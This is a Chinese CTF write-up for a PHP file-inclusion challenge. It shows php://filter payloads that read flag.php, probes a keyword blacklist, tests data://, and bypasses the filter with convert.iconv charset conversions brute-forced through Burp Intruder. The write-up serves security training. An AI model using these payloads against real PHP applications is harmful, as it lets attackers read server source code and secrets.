背景知识
题目
题目了文件包含,所以想到了php伪协议
构造payload尝试读取flag.php
/?filename=php://filter/read=convert.base64-encode/resource=flag.php
页面提示“do not hack”猜测可能是黑名单检测敏感字符串。猜测字符串哪些被禁用,这里输入单个字符串
构造payload
/?filename=base64
仍提示“do not hack”
构造payload
/?filename=convert
没有提示 "do not hack!",可以推测 "base64" 字符串在黑名单里。经过调试,"base64"、"string"、"read" 等都在黑名单里。
在这里测试一下能不能用data://(涉及php.in的allow_url_include配置)
构造payload
/?filename=data://text/plain,1234567
如果成功则会返回1234567,但是页面无,所以知道没有开启 allow_url_include
现在考虑 php://filter 有没有其他过滤器可以用
convert.iconv 相当于用了 iconv() 函数,这个函数是转换数据的字符集,比如 iconv("ASCII", "UTF-8", $string),也就是说只转换数据的表现形式,拿到数据之后,再把它的字符集转回来就行了。
利用姿势,把flag.php的内容从UCS-2LE.UCS编码转换为UCS-2BE编码
构造payload
/?filename=php://filter?convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
还是不行, 但是还有很多字符集可以尝试
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
用 bp爆破,暴力破解 intruder 模块有个“cluster bomb” (集束炸弹)模式,可以把上面所有的 16 个字符集格式做一个笛卡尔积,生成 256(16 *16)个请求。
设置位置 1 和位置 2 使用的字典,都是同一个
爆破完成后可发现flag
或者
设置payload
/?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
参考文章链接:
攻防世界 - (题目名称-文件包含)_封于修x的博客-CSDN博客
php://filter_php://filter/_木…的博客-CSDN博客